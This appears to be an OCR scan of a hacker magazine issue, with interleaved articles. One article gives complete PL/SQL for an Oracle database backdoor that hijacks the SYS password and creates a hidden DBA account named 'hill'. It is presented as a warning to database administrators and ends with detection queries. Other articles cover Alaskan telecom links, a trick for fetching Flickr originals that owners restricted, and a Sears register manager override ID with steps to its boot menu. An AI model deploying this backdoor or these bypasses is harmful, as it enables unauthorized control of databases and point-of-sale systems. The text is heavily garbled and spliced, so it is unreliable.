chist's Cookbook or the  comp Lete Phrack series. If 
you want it, you ca n have it with in  seconds. 

No Lo nger  a re text fi Les the  p refe rred medi u m ,  
sites li ke cryptome.o rg n otwithstandi n g. 
Web Logs ,  discussion  fo rums ,  a n d  PD F  white pa­
pers a re ki n g  n ow. And  with the  h i g he r  vi sibi lity 
comes a n  i n crease i n  accuracy a n d  ti me Li n ess as  
each a rti cle is  criti q ued a n d  eva Luated , whi le the 
fa lse and obso Lete i nfo fades i nto the  dusty 
recesses of the  web. WeLL, someti m es. 

Back E)oor to Your 

by Edward Stoever 
edward@database-expert.com 

The pu rpose of this a rti cle is to demonstrate 
o ne  method of gai n i n g  dba ri g hts to an Oracle 
database a nd  of keepi n g  those ri g hts in the  fu­
ture by creati n g  a back door  that ca n be opened 
whenever desi red. The  i nfo rmati on  contai ned in  
this a rti cle i s  fo r the  pu rpose of demonstrati n g  to 
database admi nistrators possi b Le ho Les i n  thei r  
secu rity pLa n.  

If  you were to  ask  you r  database a dmi nistra­
tor what the most powerfu L  system privi lege on 
the O racle database is, he might  respond with 
j ust about a nyth i ng  except "aLter user." The  a Lter 
user p rivi lege ca n be used to change  the pass­
word of a ny user. The a Lter user p rivi Lege can eas­
i Ly be confused with " a Lter any user" which wou Ld 
seem to be the  actua L  p rivi lege desired, but i n  
fact does not exist. 

Conside r  the fo LLowi n g  hypothetica L  situation.  
Robert works  i n  the payro LL department a nd  h e  is  
s ick of worki n g  fo r "Th e Ma n." H is  database ac­
count a LLows h im  to conn ect a nd  to seLect on a 
few tabLes. Nothi n g  e Lse. H e  ca LLs the  database 
a dmi ni strato r and says, " H ey, I a m  tryi n g  to 
change  my passwo rd with ' a Lter robert identifi ed 
by mypass' and I am getti n g  the error 'i n suffi­
cient p rivi leges.' CouLd you grant me the a Lter 
user p rivi Lege?" ALL users a lready have the abi lity 
to change  thei r  own password , but ou r  hypoth et­
i ca L  database admi nistrato r is n ew at this. On the  

SOL *PLus com m a n d  Li ne ,  the  admi ni strator types 
the com mand  "g ra nt a Lter user to robert;". 
Robert says tha n k  you and hangs  up  the p hone. 

At this poi nt, Robert is ready to i n stal l  h is  
back door  to the  data base. H e  types t he  foLLow­
i n g  com m a n ds :  
a l  ter u s e r  s y s  ident ified by rnypas s ;  
connect s y s /rnypas s @ database a s  s y s dba 

Next, Robert runs the fo llowi ng  script to cre­
ate the back door he wants: 
CREATE OR REPLACE PACKAGE dbrns xrnl AS 

PROCEDURE parse ( s t r i ng I N  VARCHAR2 ) ; 

END dbrns_xrnl ; 

/ 

CREATE OR REPLACE PACKAGE BODY dbrns_xrnl AS 

PROCEDURE parse ( s tring IN VARCHAR2 ) I S  

var 1 VARCHAR2 ( 1 0 0 ) ;  

BEGIN 

I F  s t r i ng = ' un l o c k ' THEN 

SELECT PAS SWORD INTO var 1 FROM 

-dba_u s e r s  WHERE u s e rnarne = ' SYS ' ; 

EXECUTE I MMEDIATE ' c reate t a b l e  

-syspa 1 ( cal l varchar2 ( 1 0 0 ) ) ' ;  

EXECUTE I MMEDIATE ' in s ert into 

-syspa 1 v a lue s ('" II var 1 1 I ' , , ) , ; 

COMM I T ; 

EXECUTE I MMEDIATE ' ALTER U S ER SYS 

-IDENT I F I E D  BY hack 1 1 hack ' ;  

END I F ;  

I F  s t r i ng = 'loc k ' THEN 

EXECUTE I MMEDIATE ' SELECT call FROM 
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-sys p a l  WHERE ROWNUM� l ' I NTO var l ; 

EXECUTE I MMEDIATE ' ALTER USER S Y S  

-IDENT I F I ED BY VALUE S ' " I I  var l l l ' , , , ; 

EXECUTE I MMEDIATE 'DROP TABLE 

- s y s pa l ' ; 

END I F ;  

I F  s t r ing � ' make ' THEN 

EXECUTE I MMEDIATE ' CREATE USER h i l l  

-IDENT I F I ED B Y  hack l l h a c k ' ;  

EXECUTE I MMEDIATE ' GRANT DBA TO 

-h i l l ' ; 

END I F ;  

I F  s t r ing = ' unmake ' THEN 

EXECUTE IMMEDIATE ' DROP U S ER h i l l  

-CASCADE ' ; 

END I F ;  

END ; 

END dbms,xml ; 

CREATE PUBL I C  SYNONYM dbms xml FOR 

-dbms _� xml ; 

GRANT EXECUTE ON dbms xml TO PUBL I C ; 

There a re two activiti es that the  dbms_xm l  
package ca n do  fo r Robert. Fi rst, it c a n  u n lock 
the  sys account by changi n g  the  passwo rd to a 
known passwo rd . Then ,  later o n ,  it ca n revert it 
back to the  o ri gi n a l  passwo rd . The  commands  fo r 
doi n g  th is  from SQL *Plus a re as fo llows: 
execute dbms_xml.parse( 'unlock'); - changes 
the  password fo r sys to " hackllhack" ,  savi n g  the 
o rigi n a l  password . 
execute dbms_xml.parse( 'lock'); - reverts the  
sys account  to the  o rigi n a l  password . 

The  second  activity creates a n ew user ac­
count with a known password that has  the dba 
role which ca n later be d ropped ( removed) from 
the  database.  The command s  fo r this activity 
from SQL *Plus a re as fo llows: 
execute dbms _xml . parse ( 'make' ); - create 
the user " h i ll" with the password "hackllhack" .  
execute dbms _ _  xml. parse ( 'unmake' ) ;  - d rop the  
user " hi ll" ( m ust be logged i n  as  a ny user except 
"h i ll" ) . 

Robert has  created fo r h imse lf a back door  to 
the  O racle database that wi ll be very difficu lt fo r 
oth ers to discover. H e  has  ch osen a n ame  fo r h is  
package that looks li ke it was i n sta lled with the 
O racle database.  Beca use Robert changed the 
passwo rd fo r sys ,  someone may fig u re out that 
the  sys account  has  been h ijacked .  But Robert 
doesn 't ca re. He can switch the  password on that 
account  to a known password as n eeded .  ( Note 
that if Robert had  access to dba_users he cou ld 
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save the  o rigi n a l  sys password a nd  revert the  
account back to  the  o ri gi n a l  passwo rd after log­
gi n g  i n .  All h e  wou ld need to do  i s  fo llow the 
sam e  method used i n  the  dbmsJml .parse p roce­
d u re .  ) 

There a re mo re steps that Robert cou ld ta ke 
to make his back door  package h a rder  to fi n d .  
The  wrap uti lity i s  i n sta lled with O racle database 
softwa re, and usi n g  it would change  the  code of 
the package to a fo rm that i s  fa r less reader  
fri e nd ly. Litera l  stri ngs  a re not h idden by wrap­
pi n g  code with the  wrap uti lity, but it i s  a lso easy 
to h ide  the  stri ng  litera ls with some basi c  obfus­
cati o n .  Visit the webpage http ://www.database­
-expert. com/ oracle_back_door  _pa rt2 .asp fo r 
detai ls of how to do these tasks .  

At some poi nt, the  database admi ni strator 
may become  suspicious  of Robert. There a re a 
n u m ber  of th ings  that the  admin i strato r cou ld do  
to  di scover t h a t  somethi n g  i s  wrong .  One  method 
would be to  compare the  objects owned by the  
p rivi leged users  on  two sepa rate databases of the  
sa me  versi on  (query v$versio n  to fi n d  the  data­
base versi o n ) .  This method works well fo r the  sys 
a ccount  beca use sys s hou ld n ever be used to cre­
ate database objects u n less those objects a re 
pa rt of a n  i n stal l  or upgrade .  Another method 
that cou ld be used  to di scover a problem wou ld 
be to se lect on dba_objects to li st the  most re­
cently created objects, especia lly those owned by 
p rivi leged users .  This is especia lly effective be­
ca use the sys account s hou ld have n o  objects cre­
ated si nce the last upgrade .  

Of cou rse,  the best  thi n g  to do  i s  to  p revent 
a nyone  from gai n i ng  the  a lte r user p rivi lege in 
the  fi rst p lace.  The  database admi nistrator 
s hou ld a lways know who has the a lter user 
system p rivi lege.  The  fo llowi n g  q uery retu rns  a 
li st of users a nd  roles who  h ave the a lter user 
p rivi lege :  

S E L E C T  grantee , granted_ro l e  AS granted 

-FROM dba_ role._privs 

WHERE gr anted_r o l e  I N  ( SELECT grantee 

FROM dba_ s y s_privs 

-USER ' ) 
UNION ALL 

WHERE PRI V I LEGE � ' ALTER 

SELECT grantee , PRI V I LEGE 

FROM dba sys_privs 

WHERE PRI V I LEGE � ' ALTER U S ER ' ; 

I hope  the i n formati on  p resented i n  
a rti cle h e lps you  t o  keep you r  o rganizati on 's 
database secure. It is impo rtant fo r the database 
admin i strator to u ndersta n d  security from a ll 
a n g les .  
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He LLo, a nd  g reeti n gs from the Centra L Offi ce!  I 
have good news a n d  bad n ews. The  good news i s  
that I get  to work on  outsi de  p Lant  agai n .  The  bad 
n ews i s  that I 'm r unn i ng  fi ber  to a LL 7 9  i g Loos on 
the  frozen tund ra wasteLa n d  of Adak IsLa nd ,  
A Laska .  I 'm convi nced t h a t  my emp Loyer s e n t  me  
h ere because i t  wa s  as  close a p Lace t o  Si beri a  as  
they cou Ld fi n d .  In fact, Si beri a  i s  ba re Ly a stone's  
th row away from here .  And  the  wi n d  b Lows so 
h a rd (over 120  mi Les per hour - nobody knows ex­
actly how fast beca use the wi n d  ri pped the  
a nemometer off of the  tower) that confused 
Russia n-spea ki n g  bi rds n amed Iva n a re reguLa r Ly 
carried here by storms .  

Anyway, I 'm n ot su re what the residents of  
Adak p La n  to  do  with fi ber  to  the  i g Loo ,  beca use 
there i s n 't a ny way of com m unicati n g  off of the 
i s La n d  othe r  than via sateLLite. Un Less, of cou rse, 
you have a ham Li cense a n d  speak either  Russi an  
o r  Japanese i n  Mo rse code !  Most of  the  peopLe 
h ere a re mo re i nterested i n  fis h i ng  boats a n d  
b e e r  than  the  Internet a nyway. Whatever the  rea­
son ,  they're goi n g  to have a b Lazi ng Ly fast metro­
po Lita n a rea network by the  ti me  I get done .  
H opefuLLy that's by  Sunday, beca use the  next 
fli g ht after that is the  fo LLowi n g  Th u rsday. There 
a re o n Ly two fli g hts a week, a n d  that's o n Ly if n ei ­
ther  of them is  ca n ceLed due  to weather !  

As you m ay have g uessed ,  he re i n  rura L  
A Laska ,  i n formation  from the  outside  worLd 
comes aLmost exclusiveLy via sateLLite. Ada k is reL­
ativeLy Lucky, a LL thi ngs  conside red; they get two 
ALaska Ai r Li n es j et fli g hts per  week, stocked with 
mail  and freig ht. Sma LLer ALaska "bush" com m u ni­
ties can receive ma i l  j ust on ce a week (o r  even 
Less frequently if the weathe r  i s  bad) a n d  FedEx 
j ust ca n 't he Lp you even if  it  abso Lute Ly positiveLy 
has  to be there overn ig ht. Even i n  mo re popu­
Lated a reas of ALaska ,  sate LLite Li n ks a re sti LL used 
as  a backup du ri n g  cab Le outages, which a re mo re 
frequent than  i n  the  Lower 48 due  to both the  
h a rs h  climate a n d  errant fi s h i ng  trawLe rs . 

N ea rLy every vi L Lage  i n  ALaska has  a Loca L 
p h o ne  company, typica LLy (though  n ot n ecessa r­
i ly) a nonp rofit cooperative, which p rovides Loca L 
p h o ne  service a n d  i ntercon nects with the  Lo n g  
dista nce n etwork .  Loca L teLephone  service c a n  b e  
very expensive i n  r u r a L  ALaska; fo r exa mp le ,  h ere 
on Adak ,  it's over $ 100 per m onth ! This i s  despite 
h eavy subsi dies p rovided th roug h the FCC's Uni­
versa l Service Fun d  to the Loca l p hone  company. 
The true cost per Li n e  can be  h u n d reds of do LLa rs 

per month; without federa L  subsidies ,  basic teLe­
phone  service wouLd be u naffordabLe to m ost 
rura L  ALas ka n s .  

CeLLu La r servi ce i s  avai lab Le i n  some  pa rts of 
rura L  A Laska ,  but it ma kes La n d  li n es loo k  cheap .  
It's usuaLLy operated by ti ny carri e rs you 've never 
h ea rd of (such as  ASTA(, B ri sto L Bay CeLLu La r, a n d  
Copper Va LLey Wi reLess) .  T h e  servi ce i s  a Lmost 
a Lways expensive (averagi ng  $1 per m in ute pLus 
Lon g  distance on  B ri sto L Bay CeL LuLa r, fo r 
i n sta nce) .  And  dust off that bag p ho ne  because 
you ' re goi n g  to need it! Most ru ra L  A Laskan 
ceLLu La r servi ce i s  a n a Log o n Ly. 

LocaL p hone  servi ce works p retty m uch the 
sa me  way i n  ALaska that it does "Outsi de"  (that's 
what ALaska n s  caLL a nywhere that i s n 't A La ska ) ,  
except that  on  average it's mo re expensive and  
receives mo re govern ment subsid ies .  It's a lso 
La rgeLy run by i n dependent teLephone  com panies 
(such as  ACS,  a n  ALaska-based company and the 
state's  La rgest p rovider  of both wi reLi n e  and wi re­
Less teLephone  servi ce) . Fou r  digit Loca L ca LLi ng  
sti LL exists i n  some p Laces, but  seven digit Loca L 
caL Li n g  a n d  11 digit Lon g  distance caLLi n g  a re the 
no rm .  

Thi ngs  get  a Lot mo re i nteresti n g  when  no  Lo­
ca L p hone  service or ceLLu La r servi ce is ava i Lab Le .  
In ma riti m e  a n d  certai n othe r  a reas (such as  
a Lo ng  the  remote Dena Li H ig hway) , resi dents can 
often use VH  F radi oteLephones .  These a re mo re 
expen sive than  ceLLuLar p hones but Less expensive 
than  sateLLite p hones .  H a n d h eLd sateLLite p hones 
a re a Lso a n  option ;  G Loba Lsta r a n d  I ri di u m  ca n 
sometimes p rovide  service where you ' re other­
wise out of Luck .  Contrary to the i r  advertisi ng  
coverage i s  by  no  means  assured (pa rti cu La rLy i n  
the  Brooks Range)  b u t  you  may get Lucky. 

Iri d i um unti L  recently was the o n Ly mobi le 
sateLLite p rovide r  that covered ALaska ,  but G Loba L­
sta r has  begun to compete. They i n sta LLed a 
sateLLite gateway i n  Wasi lla that reported Ly p ro­
vi des service in the ALeuti ans ,  southcentraL ,  a nd  
southeast ALaska .  Wh i le Iridi um  servi ce i s  consid­
erabLy mo re expen sive than  G Loba Lsta r (over $1 
per  mi n ute) ,  it ' s  wide Ly considered by ALaskans  to 
be superi or. I ri d i um provides service fa rther 
no rth than G Loba Lsta r does and i s  the  o n Ly hand­
he ld satellite p rovide r  to  offer service o n  the  Arc­
ti c s Lope.  

Long  di sta nce i s  q uite a bit different than  in 
the  Lower 48.  Competition  i s n 't a s  fierce, p ri ces 
a re a Little h i ghe r, a n d  there i s  a Lot mo re reLi ance 
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on sateLLite com m u nications .  There a re o n Ly two 
faci Liti es-based Long  di stance carri e rs in ALaska :  
AT&T ALascom and  GCl. Both  carri e rs serve m ost 
Locati on s  i n  A Laska ,  a Lthough  some remote a reas 
(such as  Adak) a re served o n Ly by AT&T ALascom 
( m ean i ng  there a re sti ll a few p Laces in the  U. S .  
whe re you  don 't have a choi ce of  Lo n g  dista nce 
carri e rs) . Whi Le they compete vigorous Ly, the  ca r­
ri ers a Lso cooperate by Leasi n g  n etwork faci Lities 
to o ne  a nother  when it ma kes busi n ess sense .  

You ca n ca LL practi ca LLy a nywhe re i n  ALaska via 
sateLLite. Both GCI a nd  AT&T ALascom have thei r  
own dedicated com m un ications  sateLLites a nd  a n  
exten sive network  o f  g round  stations .  G C I  Leases 
capacity on  the Ga Laxy IX ( 127 degrees west Lon­
gitude)  a n d  Ga Laxy XR ( 123 degrees west Longi­
tude) sateLLites fo r both teLephone  and cab Le TV 
services. These sateLLites a re owned by H ug hes 
Com m u nications .  ALascom uses the  Aurora III 
satellite ( 146 degrees west Lo ngitude) , which is 
soLeLy used fo r p rovid i ng  teLecom m unications  
services to  ALaska .  Both  carri e rs operate majo r, 
h i gh -capacity regiona L  ea rth stations  (either  9 o r  
1 3  meter) wh i c h  ca rry both Loca L traffi c a n d  traf­
fic fed from sma ller ( 3 . 6  meter) earth stations  i n  
b u s h  vi L Lages .  I f  you 've n ever ca lled anyone via 
sateLLite, it's ki nd  of fun .  Ca lls a re genera LLy clea r 
but there is about a 600ms de Lay. Ma ke some­
one's day a n d  ca LL the Coast Gua rd LORAN station  
o n  Attu : ( 907 )  393-9083 (that ca L L  bounces off a 
sateLLite to S hemya Ai r Fo rce Base a nd  via a mi­
crowave Li n k  the  fi n a L  30 mi les out to Attu ) .  

I n  popu Lated a reas,  fi ber  opti c ca b Les a re the  
p rima ry mean s  of voice a n d  data o rt. There 

a re two majo r  fi ber optic cab Le netwo rks :  ALaska 
United Fi ber  System and No rth star. 

The ALaska United Fi ber  System is  a S O N ET 
ri n g  operated by GCI a nd  constructed by Tyco. Ac­
co rdi n g  to AUFS, "The n etwo rk consists of th ree 
majo r  sections :  1. AU-No rth connecti ng  Fai r­
ban ks a n d  com m unities  a Lo ng  the  southern 
pi pe Li n e  corri do r  to the  n etwo rk; 2. AU-East con­
necti n g  Anchorage ,  J uneau ,  and SeattLe with 
La nd ing  sites at Whittie r, Lena  Poi nt, a nd  Lyn­
nwood,  Wash ington; 3 .  AU-West con necti n g  An­
chorage to SeattLe with  La nd ing  poi nts i n  Seward 
and Warrento n ,  O regon .  The system uti lizes opti­
caL  amp Lification  a LLowi ng  flexi b Le capacity ex­
pans ion t h rough  the Life of the system .  The  
s ubma ri n e  portions  were  i n sta LLed with state-of­
the-a rt bu ri a L  a nd  Layi n g  techn ique  by i ndu stry 
Leaders .  The cabLe i s  b u ried from the cab Le La nd­
ing stations  to a water depth of 4 ,900 feet where 
possi b Le to avoid exte rna L  agg ressions . "  

The  fi rst segment of the  AUFS  network to  be 
constructed was AU-West, which has  operated 
si nce 1999 .  AU- East, which i n creased capacity 
fivefo Ld , has  operated si nce 2004. AU-No rth 
com bi n es the  AU-West and AU-East fibers i n  the 
same cab Le fo r the run  from VaLdez to Fai rban ks .  
The  current capacity i s  a com bi n ed 7 50Gbps be­
tween both h a Lves of the  ri n g ,  which i s  suffi cient 
to meet current needs .  Additi ona LLy, the  cab Le i s  
desi g n ed to be upgraded to h igher  speeds si mp Ly 
by swappi n g  out the DWDM gear  i n sta LLed at the  
s ho resi de  cabLe La n di n g .  N o  changes to the  58 
submari n e  optica L  repeaters cu rrentLy i n sta lled 
th rou hout the netwo rk wi ll be necessa 



The No rthsta r CabLe is operated by WCIC a n d  
ha s  b e e n  i n  servi ce si nce 1 9 99 .  I t  repLaced th e 
ALaska spu r  of the fo rmer  No rth Pacific Cab Le a n d  
runs  on  a non-redu ndant  route . The route tra­
verses from Seattle th rough  Portla n d  to Nedonna  
Beach ,  O regon .  From there ,  it p roceeds no rth a n d  
b ranches t o  J u n eau  a n d  Whittier. From Whittier, 
the  cab Le aga in  b ranches to Va Ldez a n d  Ancho r­
age ,  r unn i ng  n o rth th rough  Fai rban ks to Ei e Lson  
AFB .  The WCI  CabLe NOC can be rea ched at ( 503 )  
466-8512. 

CabLe b rea ks happen  occasiona LLy o n  the fi ber  
optic n etworks ,  a re usua LLy caused by commercia L  
fis h ermen  usi n g  trawLers, a nd  cost a n  average of 
$ 1 , 000,000 to fix. Voi ce ca Lls can sti L L  be  ca rri ed 
via sateLLite if a fiber  optic cabLe is out of service, 
b ut there i s  i n sufficient satellite capacity to h an ­
d Le u rban  voLumes o f  data traffi c .  To miti gate th is  
issue ,  AUFS has  created redundant  routes on  
the i r  n etwork.  That's good enough  fo r GC I ,  which 
uses AUFS exclusiveLy. H owever, AT&T ALascom 
h edges thei r  bets and pu rchases capacity on  both 
the  AUFS and No rthsta r cab Les. 

In  additi on  to cab Le and sateLLite, ALaska ns  
usi n g  AT&T A Lascom can ta L k  via microwave reLay. 
Microwave p rovides Lon g  dista nce service without 
satellite Latency, which gives AT&T ALascom a 
competitive edge over Gel i n  a few com m u niti es 
where GCI p rovides o n Ly satellite servi ce. The 
AT&T A Lascom microwave n etwork operates 

by undergrOund nInja 
Flickr, if you a ren 't fa m i li a r  with it, is o ne  of 

the  most popu La r  of the  so-ca lled "Web 2.0" gen­
eration  of websites. It  i s  ri dicuLousLy popu La r  and 
its  success was so g reat that not too Long  ago  
they attracted the  eye of Ya hoo !  who bought  
them up .  FLickr  offers many contro Ls over the 
p hotos you up Load ,  from aLLowi n g  viewers to 
down Load the  fu LL- reso Lution  o ri gi n a L  to o rderi n g  
p ri n ts .  H owever these options  ca n a Lso be turned 
off by the  own er of the  p hotos. If you a ren 't fa­
m i li a r  with FLi ckr, I suggest you go  ch eck it out 
and then come  back to the  rest of this a rti cle. If 
you a re fa miLi a r  with it, read o n .  

t h roughout ALaska ,  a n d  La rgeLy d u p Li cates exi st­
i n g  fi ber  routes. H owever, there a re sti ll n u mer­
ous  towns (many of them a Long  the  ALaska 
H i ghway) that Lack fiber  con n ectivity. O n  the 
AT&T ALascom n etwork,  one cou Ld theoreti cally 
reLay a caLL from Prud hoe  Bay to Ketch i kan  via the  
No rthwesteL microwave network  i n  the  Yu kon Ter­
ritory. AT&T ALascom i sn 't the  o n Ly user of mi­
crowave; the  tech n o Logy i s  a lso  someti m es used 
by Loca L exchange  ca rri ers fo r backhau L  between 
bush  com m unities ( often Alaska N ative vi L Lages)  
and the  nea rest sateLLite g round  stati o n .  

Fi n a LLy, i n  a seLect few Lucky com m unities ,  
there's fi ber  to the  home.  A Laska n s  Love tech no L­
ogy a n d  govern m ents a re eager to adopt it. And  
so it i s  that  than ks to  a government  g ra nt, from 
you r  i g Loo o n  Adak you ' L L  soon h ave Less than  o ne  
mi llisecond  con n ectivity a t  Gig E  speeds t o  a 
2 56 Kbps,  600ms Lagged ,  satellite Li n k  that i s  
s h a red with the  other  78 i s La n d  resi dents. I 'm 
sti ll scratchi n g  my head over that one ,  but Sena­
tor Ted Stevens  p robab ly p La n s  to order  u p  a se­
ri es of  tubes to speed thi ngs  up  once I 'm gone .  
And  as  Long  as  the  p La n e  comes on  Sunday, I ' LL be 
content to cash  my paycheck and go  back to my 
eveni ngs  of more i nteresti n g  "servi ce m onitor­
i n g "  than  fi s h i ng ,  ca ribou ,  Boei n g ,  a n d  S BX 
Radar !  

Afte r you 've spent some tim e  on  the  site, 
c hances a re you 've come across a really spiffy pic­
ture that you Li ke but the  owner  ha sn 't enab Led 
the "vi ew a LL sizes" opti o n .  Da rn .  I guess I ca n 't 
get a nice wa LLpa per-size versi on  of th at. WeLL, I ' L L  
j ust keep Looki n g .  

B u t  wait! T h e  o ri gi n a L  u pLoaded size i s  mereLy 
a s ho rt dista nce away, Locked with in  the  source 
of the p hoto vi ew page !  

So Let's sta rt with a p h oto page that doesn 't 
have the  "view a LL sizes" button enab Led .  I used 
this one: http://www . flickr . com/photos/fla 

-rgh/671062/. This is a n eat p hoto of His  
Steveness at the  openi n g  of the  App le 
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50H o .  
N o w  if w e  do  a "view source" on  that page a n d  d i g  down th rough  t h e  depths o f  a L L  t h e  embedded 

j avascri pt i n  there Looki n g  fo r the  ma rker where the com ments sta rt. we fi n d  som ethi n g  Li ke th is :  

<n oscript} 

<di v>To take f u l l  a dvan t a ge of Fl i ckr, you s h o u l d  u s e  a Ja vaScrip t - enabled brows er 

-and<br><a href= " h t tp : //www . ma cromedi a . com/sh ockwa ve/ 

-down l oa dldown l oa d . c gi ?P1_prod_Vers i on =Sh ockwa veFl a s h ">i n s t a l l  the l a t e s t  vers i on of 

- t h e  Ma cromedi a F l a s h  P l a yer<la> . <br><br> 

<In oscript> 

<di v i d =  " b u t ton_bar "><img src= " limagesladd_ t o_fa ves_ grey . gi f "  

-id= "ph o t o_ gn e_b u t t on_ add_ t o_ f a ves " c l a s s =  "ph o t o_gne_ b u t ton " wi d t h =  " 5 6 " h e i gh t = "24 " 

-a l t = " "  border= "O "><script type = " t extl 

ja vascript ">_ decor a t e( gel 'ph o t o_ gn e_bu t t on_add_ t o_ fa ves'), 671 0 62, 1 ,  

- 'a_ f a ve') ; <Is crip t><img src= "lima geslbl og_th i s_ grey. gi f "  

-id= "ph o t o_ gne_b u t t on _bl o g_ t h i s " c l a s s = "ph o t o_ gn e_ b u t ton " wi dth = "47 " h e i gh t = "24 " 

- a l t = " " border= "O "><script type = " t extlja va script "> _decora t e  

- (  ge('ph o t o_gn e_b u t t on_ bl o g_ t h i s '), 671 0 62);<ls crip t><ldi v> 

<di v i d =  "ph o t o_n o t e s " c l a s s =  "ph o t o_ n o t e s  "><di v i d =  " n o t es_text _ di v " > <1 di v> 

</di v><di v i d =  "comm_ d i v "></di v><di v i d= "rot a t e_di v "> </di v><di v 

-id= " s h a dow_ d i v "><ldi v><di v i d =  "ph o t o ImgDi v671 0 62 " s t y l e = " wi d t h : 5 02px " c l a s s = "ph o 

- t o ImgDi v "><img src=''h t tp : //s t a t i c . fli ckr . coml 1 1671 0 62_85 c722f2c1 . jpg?v=O " al t = " "  

-wi d t h = " 5 0 0 " h e i gh t = "375 " on l oad= " s how_ n o t e s_ i n i t i a l l y(); " c l a s s = "reflec t  " > <img 

-s tyl e = "pos i t i on : re l a t i ve; t op : -377px; margi n -bo t t om : -377px; d i sp l a y : bl ock; " 

-src= "limages /spaceba l l . gi f "  a l t = " "  wi d t h = " 5 0 0 " h e i gh t = "375 "><ldi v> 

<script type= " t extlja vascript ">_decora t eLge( 'ph o t o_ n o t e s '), _ge ('ph o t o Img 

-Di v671 0 62'), 671 0 62, ' h t tp : //s t a t i c . fli ckr . coml 1 1 67 1 0 62_ 8 5 c722f2c1_ t .  jpg', 

-'1 . 5 ') ; <Is cript> 

<form id= "fa ve_form " meth od= "pos t " s t yl e= " vi s i bi l i ty : h i dden; "><inp u t  type= " h i dden " 

-name= "ma gi c_cook i e " va l u e= " 8 0 dbc9229f53b 0 6 5 9 6 a 9 f4e6d246b36d " I><i np u t  type= " h i dden " 

- name= "faveadd " va l u e = "O "><inp u t  type= " h i dden " n ame= " f a veremove " 

-val u e =  " 0  "></form><form i d =  "bl og_ form " meth od= "po s t " s t y l e =  " vi s i bi l i  t y :  h i dden; " a c  

-t i o n = " Ibl og . g n e  "><inp u t  type= " h i dden " n ame= "ma g i c_ cook i e " 

- va l u e= " 8 0 dbc9229f53b 0 6 5 9 6a 9f4e 6d246b36d " /><i np u t  type= " h i dden " n ame= "ph o t o " 

-va l u e =  " 671 0 62 "><inp u t  type = " h i dden " n ame= "bl o g " va l u e= "O "> <Iform> 

<1- - PHOTO CONTENT : DESCRIPTION, NOTES, COMMENTS --> 

Loo k  closeLy. See the http://static.flickr.com/1!671062_85c722f2cl_t.jpg near the  
end? Guess what. Copy and paste that Li n k  from the  source i nto you r  add ress ba r  and  you ' ll see  a 
th umbnai L  of the  p hoto. 

Now before you start writi n g  a per L  script to scra pe every fu LL size p hoto o n  the  site, Let' s stop fo r a 
mom ent to take a deeper Loo k  at that URL .  
http://static.flickr.com/1/671062_85c722f2cl_t.jpg 

671062  appea rs be some sort of site-un ique pi ctu re I D .  This is the same n u m ber  in the o ri gi n a L  Li n k  
t o  t h e  p h oto. 85c72 2f2cl seems t o  be some ki nd  o f  ra ndom Ly generated n u mber  that acts as  a sort of 
key fo r the p hoto. I rea LLy have no i dea what it does but I have a fee Li n g  it i s  the re to make writi n g  that 
script a Little h a rder, si nce you 'd  have to scrape the  sou rce of a LL the  pages,  not j ust get the  p hoto ID  
from the  L i  n k s .  

So a nyway, back  to  getti n g  the  o rigi n a l. We  have a fi Len ame  end ing  i n  "_t" t hat  gets us a t humb­
nai L . What if we d rop  off the  "_t"? WeLL, we get the  d isp Lay size, sa me  as it s hows on the page.  So 
there 's magic  i n  that Last i niti a l. 

N ow, what do you imag i ne  you 'd  get if you sLap a "_0" o n  the  end of it? Yes ,  we h ave a wi nne r. The  
o rigi n a L  u p Loaded size. 

N ow keep in mind this won 't he Lp you if the person ' s  u p Load client preprocessed it i nto a sma LLer 
size befo re up Loadi n g .  It's q uite Li keLy that this method wi LL b rea k soo n .  

Remember that with g reat knowLedge comes g reat responsib i lity. Be awesom e  t o  each othe r  a n d  
pa rty o n  dudes .  
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by chrOnicxbOredOm 
mediscript4540@hotmaiL.com 

Initial disclaimer: any kno wledge ga ined from 
this a rticle is for informational purposes only. In 
o ther words, don 't be stupid. 

In Late November  2005 ,  a LL Sears stores (Sea rs 
H o Ldi n g ,  as they a re n ow caLLed, bei n g  owned by 
Kma rt) were req ui red to upg rade  the pas ( Point 
Of Sa Le) systems  from ten-yea r-o Ld CompuAdd 
registers to the  n ew IBM Aspen Su rePOS 700 se­
ri es .  I happened to be worki n g  at a sma ll Sea rs 
dea Ler  store at the  ti me  a n d  persona lly h a n d Led 
the changeover to th e new system .  The  new reg­
isters featu re LCD m onito rs with touch-screen ca­
pabi lity fo r fu rthe r  down the  road ,  a staggeri n g  
amount o f  memo ry fo r a pas system ( 5 12Mb ) ,  
a n d  a n  InteL 2 . 2GHz  p rocesso r. The  systems a re 
a Lso equipped with a mag  stri p reader  (of course)  
and a wand  emu Lation  ba rcode  sca n ner, m uch Li ke 
the o Ld systems  were. 

The CompuAdd regi ste r had a sma LL togg Le 
switch on the front, j ust be Low the  monito r fo r 
poweri n g  on ( and  off) the  mach ine .  The new sys­
tem has upgraded to an ATX fo rm fa cto r power 
supp Ly, and therefo re s h uts down a utomaticaL Ly 
upon  ki ll. For the  m ost pa rt, the  new systems  
featu re everythi n g  that  you might  fi n d  on  you r  
desktop P C  a t  h o m e .  A h eadphone  j a c k  i n  the  
front, a bu i lt-i n microphone  on  the  monitor, a 
n onfunctioni n g  mouse,  a n d  two front USB ports , 
j ust above the  cash d rawer. I ca n n ot exp ress how 
su rp rised/happy I was to see them.  Due  to the  
ha rdwa re stats I m enti o ned befo re , I 'm  wi lli n g  to 
bet that they' re USB 2 .0 .  Li ke any happy hacker, I 
a Lways ca rry a round  my Ki ngston DataTraveLer, 
but was disappoi nted to discover that the  case it­
seLf, fo r Lack of space, p revents the i n serti o n  of 
the  d rive. But that's n othi n g  a n  extension  cab Le 
ca n 't resoLve. USB put to U-S- E .  

The  softwa re r unn i ng  on  the  mach i ne  re­
ma ined  the sa me  between  the  o Ld a nd  the n ew 
systems; a seemi ng Ly DOS based app Lication  i n ­
escapab Le at a ny ti me ,  except of course fo r CMOS .  
To  get i nto CMOS,  o ne  m ust power  down the  sys­
tem .  Type in "99"  then  p ress a ccept to close the  
register. I t  wi LL then ask  you fo r a n  associate !D .  
The  Sea rs manager  over ri de  !D  is 1 2 5  (wh i ch  can  
be u sed  at a ny prom pt) , but  it's j ust as  easy to 

fli p down the  pane L  above the  cash d rawer a nd  
ho Ld the  b Lack  button down  for five t o  t e n  sec­
onds .  Push aga in  to resta rt the mach ine .  Watch 
the dispLay fo r the m essage "OPTIONS  AVAILABLE"  
screen to appear  and push  the  Letter " 0 "  on  the  
keyboa rd twice with in  five seconds .  You s hou Ld 
then see the  "360Co m merce pas UtiLity Menu . "  In 
this menu ,  you can seLect the  boot sou rce. The 
